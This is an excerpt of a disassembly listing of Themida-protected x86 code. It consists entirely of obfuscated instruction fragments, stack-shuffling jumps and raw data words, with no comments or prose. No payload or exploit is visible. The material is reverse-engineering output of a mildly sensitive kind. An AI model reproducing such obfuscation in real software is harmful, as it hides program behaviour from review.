		dd 7E9C0FFh, 0FF50FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5236F1:				; CODE XREF: Themida_:005239E7j
		pop	edi
		dec	ebp
		push	edx
		mov	edx, 50DE327Eh
		sub	ebp, edx
		jmp	loc_517531
; ---------------------------------------------------------------------------
		dd 9AE9EB21h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523707:				; CODE XREF: Themida_:00520212j
		add	edi, edx
		sub	edi, 4FE62F07h
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ebp, 5
		add	ebp, 9ECA5BAh
		sub	edi, ebp
		jmp	loc_51227A
; ---------------------------------------------------------------------------
		dd 8358C501h, 0B76802C5h, 89000064h, 74FF242Ch,	0FCE90424h
		dd 0FFFFFEC9h, 0E9042474h, 0FFFF845Ah, 4C281h, 0C2830000h
		dd 0AEA3E904h, 0E089FFFFh, 73A368h, 240C8900h, 0FFBB08E9h
		dd 4EC83FFh, 0B2241489h, 66D2F638h, 667E3868h, 0B3241C89h
		dd 18D4E91Ah, 0E801FFFFh, 0FEF3A3E9h, 8BC300FFh, 18E92404h
		dd 59FFFF28h, 2414335Dh, 33241431h, 248B2414h, 242CD224h
		dd 0BF62E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5237AA:				; CODE XREF: Themida_:00520751j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_5237AF:				; CODE XREF: Themida_:00512703j
		add	edi, 4
		jmp	loc_51FEB0
; ---------------------------------------------------------------------------
		db 0F6h
aAK		db '׀NJ',0
		db 0F8h, 5Bh, 0E9h
		dd 0FFFF51D1h, 5EE95266h, 8FFFFF70h, 39E94047h
		db 0BFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5237D3:				; CODE XREF: Themida_:0051320Bj
		mov	[esp], cx
		mov	ch, 46h
		add	bl, ch
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_520671
; ---------------------------------------------------------------------------
		db 0BDh
		dd 410909E6h, 0FF5B29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5237F1:				; CODE XREF: Themida_:00514841j
		sub	esp, 4
		jmp	loc_5202C5
; ---------------------------------------------------------------------------

loc_5237FC:				; CODE XREF: Themida_:00522844j
		add	edi, ecx
		jmp	loc_51F73E
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5AB5h, 68240489h,	6F4Fh, 83242489h, 0E9042404h
		dd 0FFFEDBF0h, 0C281E289h, 4, 4BB53h, 0DA010000h, 78E9525Bh
		dd 0BAFFFEFCh, 295C1265h, 295AD689h, 24348BF3h,	104C483h
		dd 65C381F3h, 5E295C12h, 0FFDAF8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523855:				; CODE XREF: Themida_:00514303j
		mov	ecx, 30FD1222h
		sub	ecx, 28D436A0h
		add	ecx, esi
		add	ecx, 28D436A0h
		pop	esi
		push	eax
		mov	eax, 0
		sub	eax, ecx
		jmp	loc_5244B6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24048904h, 4055854h, 68000000h, 514h, 50243C89h
		dd 0E1EE9h, 0E9CA0900h,	0FFFF2AB0h, 1FB4E781h, 0EF81735Dh
		dd 3A5945B6h, 220BEF81h, 0B85014A8h, 1AE10975h,	5358C731h
		dd 6147BA52h, 0E99245A9h, 0FFFFC22Fh, 546FF5BDh, 5DEB2965h
		dd 5D2434FFh, 4C481h, 0FF530000h, 5B042474h, 5C24048Fh
		dd 240C8B66h, 4EC8356h,	0FFCD0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5238ED:				; CODE XREF: Themida_:0051B6F0j
		xor	ebx, 44C104C1h
		and	ebx, 593D1DDDh
		inc	ebx
		jmp	loc_5109E8
; ---------------------------------------------------------------------------
		db 83h
		dd 5E042404h, 4B951h, 0CE010000h, 0E92434FFh, 0FFFEBF2Ah
		dd 0E95AD101h, 0FFFF8D93h, 68240C89h, 3806336Dh, 83240C8Bh
		dd 0E94904C4h, 0FFFFF331h
; ---------------------------------------------------------------------------

loc_523930:				; CODE XREF: Themida_:0051104Fj
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		jmp	loc_516931
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0C781E789h, 4, 0FFC9F8E9h, 1CB951FFh, 3125026Bh
		dd 2434FFCAh, 4C48359h,	52555742h, 0FFFC35E9h, 24148BFFh
		dd 51E38953h, 45A7B850h, 0A335635Fh, 0E9635F45h, 0FFFF8D5Dh
		dd 5CA3E981h, 0C101336Ah, 5CA3C181h, 0E957336Ah, 0FFFECAC9h
; ---------------------------------------------------------------------------

loc_523994:				; CODE XREF: Themida_:00521B8Bj
		sub	esi, 20155BAAh
		and	esi, 581F5F1Ch
		jmp	loc_51E931
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_51589C
; ---------------------------------------------------------------------------
		dd 52240489h, 3C4B68h, 240C8900h, 0D928E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5239C6:				; CODE XREF: Themida_:00524B54j
		push	16F40622h
		jmp	loc_520EC3
; ---------------------------------------------------------------------------

loc_5239D0:				; CODE XREF: Themida_:00520DCAj
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 9C90FAAh
		add	ebp, edi
		jmp	loc_5236F1
; ---------------------------------------------------------------------------

loc_5239EC:				; CODE XREF: Themida_:005197F3j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51656A
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 0FF9CA9E9h, 0E9E589FFh, 0FFFFD12Bh, 0B72BF57h, 0CF810904h
		dd 6660517Eh, 0EF81DFF7h, 45CA7F6Ah, 0CF81DFF7h, 0CDC1160h
		dd 86E7814Fh, 81320A0Dh, 0CD040CEFh, 5FF901C5h,	0FF113AE9h
		dd 1C683FFh, 5DE6EE81h,	0EEC15F7Fh, 0CEF68103h,	89643826h
		dd 2434FFF1h, 4C4815Eh,	0C7000000h, 24083842h, 6AC14D8Fh
		dd 0D0E90838h, 29FFFF53h, 0C58159CAh, 7AA2280Ah, 0FF22F2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523A75:				; CODE XREF: Themida_:0052092Cj
		shr	ebx, 8
		dec	ebx
		push	32CBh
		mov	[esp], esi
		mov	esi, 62DE6360h
		push	ecx
		mov	ecx, 761A2490h
		add	ebx, ecx
		pop	ecx
		add	ebx, esi
		jmp	loc_518283
; ---------------------------------------------------------------------------

loc_523A96:				; CODE XREF: Themida_:00511CC5j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_521737
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 34FF2434h, 24148B24h, 0E904C483h, 0FFFF5F19h, 0E9241C8Bh
		dd 0FFFFCC20h, 83243C89h, 248904ECh, 0F93BE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_523ACA:				; CODE XREF: Themida_:0051CEFBj
		pop	ecx
		jmp	loc_51BB16
; ---------------------------------------------------------------------------

loc_523AD0:				; CODE XREF: Themida_:0050F995j
		add	ebp, 4
		jmp	loc_519212
; ---------------------------------------------------------------------------

loc_523ADB:				; CODE XREF: Themida_:00518E32j
		pop	esi
		push	eax
		mov	eax, 20EF6FEAh
		neg	eax
		jmp	loc_522B55
; ---------------------------------------------------------------------------

loc_523AE9:				; CODE XREF: Themida_:00521416j
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 84242C0Ch
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 0C6519D8h
		neg	ebx
		add	ebx, 630C78A9h
		sub	edi, ebx
		pop	ebx
		jmp	loc_5222BA
; ---------------------------------------------------------------------------
		dw 8143h
		dd 7C8DF5C3h, 0E9DA01A0h, 0FFFFD0E3h, 89242C89h, 4C581E5h
		dd 83000000h, 2C8704C5h, 482E924h, 4890000h, 31A9B824h
		dd 2B050EB7h, 89199E35h, 21E958C1h, 89FFFFCAh, 0BE565DEAh
		dd 16B046A2h, 18E9D6F7h, 5300000Dh, 0DC88EB88h,	8BE6885Bh
		dd 0CE92404h, 89FFFFDCh, 0E2892414h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 398602ACh
		sub	ebp, 30731444h
		push	edi
		jmp	loc_524EDE
; ---------------------------------------------------------------------------

loc_523B97:				; CODE XREF: Themida_:005137C6j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 6B005DD7h
		mov	ebp, edx
		pop	edx
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	edi
		add	edi, 14AC70DCh
		sub	edi, 1D1B1DB6h
		sub	edi, 44DB4E06h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_521C9D
; ---------------------------------------------------------------------------
		dw 0A705h
		dd 0E92AC169h, 0FFFEBB2Ch, 5812E6BFh, 0FACF8173h, 0C10F4B12h
		dd 814703EFh, 82666DE7h, 2C456870h, 2C890000h, 72CFBD24h
		dd 0D5E93373h, 68FFFED5h, 17E4h, 68241C89h, 2A4Ah, 0B9240C89h
		dd 0FEh, 0FE69E955h, 0C89FFFEh,	57595424h, 0FF1A34E9h
		dd 4EE95EFFh, 81FFFFC5h, 0BFC818F5h, 5DEA2956h,	0ACFBEA81h
		dd 0E0E9AEE9h, 81FFFFF0h, 0DB22BCEEh, 81CE0121h, 0DB22BCC6h
		dd 2434FF21h, 4C48359h,	495568h, 240C8900h, 2B9h, 59CE0100h
		dd 2474FF56h, 24348B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51A0C3
; ---------------------------------------------------------------------------
		dd 0E955525Dh, 0FFFEC21Bh
; ---------------------------------------------------------------------------

loc_523C90:				; CODE XREF: Themida_:0051A6FBj
		pop	ebx
		sub	ebx, 19657DBCh
		push	ebx
		pop	edx
		pop	ebx
		jmp	loc_517A51
; ---------------------------------------------------------------------------

loc_523C9F:				; CODE XREF: Themida_:00515413j
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_513B80
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5A042474h, 8B24048Fh, 26E92424h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523CBB:				; CODE XREF: Themida_:005141ACj
		add	esp, 4
		xor	ebx, eax
		mov	eax, [esp]
		jmp	loc_51BC70
; ---------------------------------------------------------------------------
		dd 0C97E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_523CCE:				; CODE XREF: Themida_:00514C75j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_513588
; ---------------------------------------------------------------------------

loc_523CDB:				; CODE XREF: Themida_:0051C496j
		add	esp, 4
		jmp	loc_51EBCD
; ---------------------------------------------------------------------------

loc_523CE3:				; CODE XREF: Themida_:00518BFCj
		add	ebx, 79101FE9h
		pop	ecx
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 7A302AD1h
		sub	eax, 16E81B75h
		sub	eax, 694C05ACh
		add	eax, 603F654h
		jmp	loc_522B02
; ---------------------------------------------------------------------------
		dw 5DBEh
		dd 291EAE2Fh, 8E95EF0h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523D1B:				; CODE XREF: Themida_:0051FFD3j
		sub	ebp, 4B274164h
		mov	esi, [esp]
		jmp	loc_5102C4
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 5C243C33h, 0FF62F1E9h, 0FFE883FFh, 0E950D0F7h, 0FFFEF3BEh
		dd 240C8B66h, 0E9E38953h, 0FFFF2B7Fh
; ---------------------------------------------------------------------------

loc_523D4C:				; CODE XREF: Themida_:00517E3Dj
		push	dword ptr [esp]
		jmp	loc_517F09
; ---------------------------------------------------------------------------
		dd 0B53E205h, 0B210E952h, 34FFFFFFh, 2434FF24h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_521190
; ---------------------------------------------------------------------------

loc_523D7C:				; CODE XREF: Themida_:00521D7Bj
		dec	ecx
		not	ecx
		xor	ecx, 994BBC42h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 1
		jmp	loc_50F7FF
; ---------------------------------------------------------------------------
		dd 53F0E991h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523D9E:				; CODE XREF: Themida_:005177B3j
		mov	eax, esp
		add	eax, 4
		push	3710h
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 48CB1ADBh
		sub	eax, 33132EB9h
		add	eax, ebx
		add	eax, 33132EB9h
		sub	eax, 48CB1ADBh
		jmp	loc_514E95
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 85h
		dd 0E9150456h, 0FFFF1C70h
; ---------------------------------------------------------------------------

loc_523DD8:				; CODE XREF: Themida_:00520C52j
		mov	esp, [esp]
		push	4BF4h
		mov	[esp], ebx
		mov	ebx, 80h
		jmp	loc_5240E1
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 67h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_523DF3:				; CODE XREF: Themida_:0051F0A2j
		mov	[esp], ebx
		jmp	loc_51A2C6
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFCCCCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523E01:				; CODE XREF: Themida_:0052232Dj
		mov	[esp], edx
		jmp	loc_51FD5B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B0240489h, 7DA0E92Eh, 1C89FFFFh, 0E9E38924h, 1E5h
		dd 4EF81h, 58E90000h, 1FFFFC1h,	0C6815AD6h, 4, 5C243487h
		dd 0E9C39D61h, 0FFFEB8CCh, 1C0EEA81h, 0E9536DA3h, 0FFFF0E2Eh
; ---------------------------------------------------------------------------

loc_523E4C:				; CODE XREF: Themida_:0051630Fj
		push	68B4h
		mov	[esp], edx
		jmp	loc_51F666
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0DEh
		dd 8146EA64h, 4A03ACC1h, 0E9F9014Bh, 0FFFF950Bh, 0B9240C89h
		dd 224805AEh, 0FF9ABAE9h, 1C77FFFFh, 419589Dh, 85E99C24h
		db 0B8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_523E87:				; CODE XREF: Themida_:005159C9j
		xor	bl, ah
		mov	ax, [esp]
		add	esp, 2
		and	al, bl
		push	dword ptr [esp]
		jmp	loc_51C38E
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0FF99B7E9h, 7E0C1FFh, 2407C035h, 8E8C17Eh, 2508E8C1h
		dd 51660CFh, 0FFE38AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_523EB9:				; CODE XREF: Themida_:00520516j
		xor	eax, 5DC930EFh
		xor	eax, 786D3BA9h
		mov	ebp, eax
		pop	eax
		or	ebp, 3C755747h
		jmp	loc_5169E4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BD550000h, 2, 7685152h, 8B5AFB2Bh, 0C483240Ch, 0F7D9F704h
		dd 2999E9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_523EF2:				; CODE XREF: Themida_:00513524j
		add	esp, 4
		jmp	loc_515410
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 565C2404h, 0DFE9E689h, 89FFFEDEh,	8668243Ch
		dd 8900003Dh, 73B9240Ch, 50102D07h, 0E4228CB8h,	5304E94Ch
		dd 0C483FFFFh, 0F20404h, 0E9F22CD8h, 0FFFFF831h
; ---------------------------------------------------------------------------

loc_523F38:				; CODE XREF: Themida_:0051A15Cj
		mov	esi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	eax
		mov	eax, 712A543Fh
		inc	eax
		jmp	loc_51B7D9
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 1Dh
		dd 0E968CF16h, 0FFFF29EAh, 31241C33h, 0FCE9241Ch, 0C1FFFEF5h
		dd 0C18305E9h, 0B6C981FFh, 811C4A35h, 0C237B2C1h, 9FEB818Fh
		dd 1077B18h, 9FC381CBh,	0E9077B18h, 0FFFF3DE5h
; ---------------------------------------------------------------------------

loc_523F8C:				; CODE XREF: Themida_:005235ABj
		mov	ebp, 4
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5236CC
; ---------------------------------------------------------------------------
		dd 4EAC15Ch, 0BFE9524Ah, 0E9FFFF93h, 0FFFEB744h, 10C0BF57h
		dd 0E7817BF2h, 4E31B1h,	5609F781h, 0F8896FD1h, 0FF122CE9h
		dd 24348BFFh, 5504C483h, 92E95D54h, 52FFFF1Eh, 5FE9E289h
		dd 81FFFFC7h, 68CFB3F7h, 5FFD01F0h, 0FF8382E9h,	4B951FFh
		dd 1000000h, 0BD5559CBh, 4, 0E95DEB01h,	0FFFF0DC0h
; ---------------------------------------------------------------------------

loc_52401C:				; CODE XREF: Themida_:00517C80j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_510730
; ---------------------------------------------------------------------------

loc_52402C:				; CODE XREF: Themida_:00521065j
		add	ecx, 0F58741Fh
		pop	edx
		jmp	loc_51279E
; ---------------------------------------------------------------------------

loc_524038:				; CODE XREF: Themida_:00517E55j
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_51D94C
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2434h, 4BA2414h,	50000000h, 4544FB8h, 9F254878h
		dd 0C147E51Ch, 0FF5003E0h, 3558240Ch, 6A8F9F22h, 0E958C701h
		dd 0FFFF6F70h
; ---------------------------------------------------------------------------

loc_524080:				; CODE XREF: Themida_:005118EAj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_516F86
; ---------------------------------------------------------------------------
		dw 205Ch
		dd 0E95866E2h, 0FFFED73Fh
; ---------------------------------------------------------------------------

loc_524098:				; CODE XREF: Themida_:00520CF1j
		mov	edi, 716D3DD7h
		shl	edi, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 206E8C15h
		add	edi, 24E05EC9h
		jmp	loc_516069
; ---------------------------------------------------------------------------

loc_5240C2:				; CODE XREF: Themida_:005191A0j
		mov	esi, 68F3196h
		sub	esi, 68F3192h
		add	ebx, esi
		pop	esi
		push	3930h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_515F42
; ---------------------------------------------------------------------------

loc_5240E1:				; CODE XREF: Themida_:00523DE8j
		and	ecx, ebx
		jmp	loc_516CF2
; ---------------------------------------------------------------------------
		dd 704C800h, 83C33059h,	0EE904ECh, 96FFFFA4h, 4EC81h, 0DAE90000h
		dd 0FFFFFF1Ch, 669D1C77h, 24041858h, 0B5FAE99Ch, 42B3FFFEh
		dd 0D828FB04h, 0FFDA73E9h, 241489FFh, 0FEE95FE9h, 0E9F301FFh
		dd 0FFFEBDF9h, 0E9243C31h, 0FFFFAD10h, 0FEB5D3E9h, 57D831FFh
		dd 7EA68h, 24048900h, 4C596852h, 34FF3087h, 0CBE9E924h
		dd 77FFFFFEh, 58669D1Ch, 9C240410h, 0FFDB67E9h,	0B5A6E9FFh
		dd 0E781FFFEh, 316C28B8h, 0FEF4E9E9h, 244481FFh, 0B845AD04h
		dd 24440117h, 26A4E904h, 0ECC0FFFFh, 12B25202h,	0FEB6AAE9h
		dd 405FFh, 0BF570000h, 4, 875FF801h, 248B2404h,	6C9CE924h
		dd 0D589FFFFh, 78FE95Ah, 0C483FFFFh, 7FE95804h,	8FFFFEE0h
		dd 77E92404h, 89FFFF74h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 21BA685Ch, 4890000h,	5E08924h, 4, 405h, 24048700h, 0FB8505Ch
		dd 8137075Bh, 432B0EBh,	81C30144h, 432B0C3h, 24048B44h
		dd 4C481h, 1E90000h, 89FFFF3Ah,	0B9512424h, 4, 4244C01h
		dd 243C8B59h, 4C481h, 0C0E90000h, 5CFFFEF7h, 0FEB4DFE9h
		dd 243C31FFh, 8B243C33h, 4282424h, 0CDE99C24h
		db 0B4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_52423F:				; CODE XREF: Themida_:00522A99j
		sub	ecx, 269857Fh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_51BC16
; ---------------------------------------------------------------------------

loc_524250:				; CODE XREF: Themida_:005228C1j
		pop	ecx
		jmp	loc_514EB9
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 24148BD6h, 0FF1B9BE9h, 4BF57FFh, 29000000h, 2C81E9FEh
		dd 0D828FFFFh, 0E92434FFh, 0FFFF9D2Dh, 7F62F581h, 0F5817AD8h
		dd 61C1A25h, 0E95DEA29h, 0FFFFE999h, 242C875Bh,	349F685Ch
		dd 4CE90000h, 89FFFF35h, 87BA2414h, 0F741E478h,	0C8F281D2h
		dd 8124FB12h, 0BF4D9F2h, 348152E9h, 0EA1E1724h,	0F7815F02h
		dd 2EA1E17h, 0D0F7975Ah, 0FFCA3EE9h, 0B43EE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5242CE:				; CODE XREF: Themida_:0051AA02j
		push	1DADh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		jmp	loc_519265
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 66E9F65Ch, 66CCB60Fh, 66101B68h, 66240C89h
		dd 66C8B60Fh, 0DE99C51h, 1FFFEB4h, 0C2E95EF3h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524307:				; CODE XREF: Themida_:00520EAFj
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_510C96
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F662424h, 9C2404BBh, 0FEB3E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524325:				; CODE XREF: Themida_:00510A58j
		mov	eax, 75C33988h
		add	eax, 747E1DAFh
		jmp	loc_5178C4
; ---------------------------------------------------------------------------
		dd 48BC389h, 0E9BEE924h, 481FFFEh, 0C5274424h, 442D5852h
		dd 0E952C527h, 0FFFF5F4Fh, 8868B353h, 0D1085BDAh, 24148B66h
		dd 2C481h, 0F1800000h, 51B25240h, 0C280DAF6h, 80DAF61Ah
		dd 0EB8044EAh, 2C3E974h, 0B2B90000h, 817A1277h,	102A10F1h
		dd 0A199E91Ch, 0CF01FFFFh, 0FFD8AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_524391:				; CODE XREF: Themida_:005158ECj
		add	edx, 7E43EF1Ah
		add	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	ecx
		mov	ecx, 405C470Dh
		mov	edi, ecx
		pop	ecx
		jmp	loc_5218DE
; ---------------------------------------------------------------------------

loc_5243CD:				; CODE XREF: Themida_:00511841j
		sub	ebp, 2D12095Bh
		add	esi, 3E0568Fh
		sub	esi, ebp
		push	ecx
		jmp	loc_511D6E
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 0E9h
		dd 0FFFF4704h, 1C04D028h, 0E951665Ah, 0FFFF94CFh, 0B294E950h
		dd 0EFD0FFFFh, 0E93FF780h, 0FFFF98BEh, 56240C8Bh, 0C6815E54h
		dd 4, 8704C683h, 248B2434h, 9FB0E924h, 0B951FFFFh, 465D5D94h
		dd 8704E9C1h, 87D3F7D9h, 41E9D1D9h, 46B1BB53h, 0D901AF52h
		dd 0E9CF895Bh, 0FFFEDE89h, 97F2D5Fh, 0BA525FCDh, 3AA07B6h
		dd 3A1EBB53h, 0DA2915C1h, 0F1F2815Bh, 313915D2h, 4A8E9D0h
		dd 0CBBEFFFFh, 896AB745h, 0F9E95EF1h, 83FFFF23h, 148904ECh
		dd 5B2ABA24h, 0EAC10154h, 0F7CA8706h, 0C1CA87D9h, 656802EAh
		dd 0E9000018h, 0FFFEBEEEh, 3831F281h, 0D601BBE0h, 0FEF62BE9h
		dd 240489FFh, 0FEC7A5E9h, 4EC83FFh, 55243C89h, 523E5E68h
		dd 0CDC2E962h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5244B6:				; CODE XREF: Themida_:00523871j
		mov	ecx, eax
		pop	eax
		shr	ecx, 7
		add	ecx, 9489BC08h
		add	esi, ecx
		jmp	loc_51567A
; ---------------------------------------------------------------------------
		db 25h,	0BAh, 2Eh
		dd 9C0D016Fh, 48148D47h, 70986905h, 0E9C701EAh,	0FFFF3AAEh
		dd 5C241487h, 0FFE560E9h, 48F5AFFh, 73E95C24h, 28FFFF59h
		dd 3BEB80C3h, 6831B450h, 12C3h,	0FEE6FBE9h, 712BBBFFh
		dd 0E0E922C5h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_52450F:				; CODE XREF: Themida_:00524EE6j
		add	ebp, 0C4E90195h
		add	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_520D39
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0EC81E189h, 4, 68243489h, 1A56h, 68241C89h, 598435ECh
		dd 0FEE27BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_52453D:				; CODE XREF: Themida_:00516AF9j
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		push	ebx
		push	1B21h
		mov	[esp], edx
		jmp	loc_524A66
; ---------------------------------------------------------------------------
		dd 51D1C681h, 0DE011180h, 51D1B850h, 48E91180h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524563:				; CODE XREF: Themida_:0051572Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_512802
; ---------------------------------------------------------------------------
		db 31h,	0D5h, 31h
		dd 0EA874DEAh, 1722E281h, 0EA817C00h, 2853F2C0h, 4EF1C681h
		dd 0D62956A9h, 4EF1EE81h, 0E95A56A9h, 0FFFF61D1h
; ---------------------------------------------------------------------------

loc_5245A0:				; CODE XREF: Themida_:0051C805j
		movsx	ecx, ax
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		push	ebx
		mov	ebx, 35FD2A6Eh
		or	ebx, 6C7D7093h
		xor	ebx, 5FFB462Dh
		sub	ebx, 22063CCEh
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_51694D
; ---------------------------------------------------------------------------

loc_5245D8:				; CODE XREF: Themida_:0051F831j
		add	esp, 4
		add	esp, 4
		jmp	loc_515108
; ---------------------------------------------------------------------------
		db 0C1h, 0E8h, 3
		dd 54E95348h, 31FFFEB4h, 0B85058C5h, 28455350h,	0FF2721E9h
		dd 4EBC1FFh, 0E665F381h, 0DE311B7Fh, 0E9F7095Bh, 0FFFECB1Eh
; ---------------------------------------------------------------------------

loc_524614:				; CODE XREF: Themida_:00512EABj
		mov	ebx, 429B76FDh
		add	ebx, 0F990D69Dh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		add	dword ptr [ecx], 1
		jmp	loc_51DF56
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 0E9h
		dd 0FFFEC678h, 0EB805966h, 59040Ah, 5B592CD8h, 0D800AA04h
		dd 0FF385BE9h, 1CE95CFFh, 45FFFFABh, 4809E581h,	0E5C14C43h
		dd 42684D03h, 89000001h, 0F9682414h, 5A15055Dh,	0DE2E281h
		dd 0EA81251Bh, 0FFFFFFFFh, 0D9EEA81h, 0D529A2FFh, 8B2434FFh
		dd 0C4832414h, 0E0895004h, 405h, 4C08300h, 5C240487h, 5EE9EF01h
		dd 8BFFFF6Ah, 22E9242Ch, 0B8FFFED6h, 49A962C9h,	0A962CBBFh
		dd 58C72949h, 0B2235C05h, 2DF80137h, 37B2235Ch,	0FF2434FFh
		dd 3C8B2434h, 4C48324h,	79FD68h, 242C8900h, 0C581E589h
		dd 4, 46851h, 82E90000h, 5CFFFF8Ah, 89241489h, 685753E2h
		dd 7A03078Bh, 9D3FE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_524706:				; CODE XREF: Themida_:0051850Aj
		mov	cl, ah
		mov	eax, [esp]
		jmp	loc_516329
; ---------------------------------------------------------------------------
		dd 0A4CD814Dh, 452FB96Bh, 5016E581h, 6EE94DF1h,	5FFFFFB2h
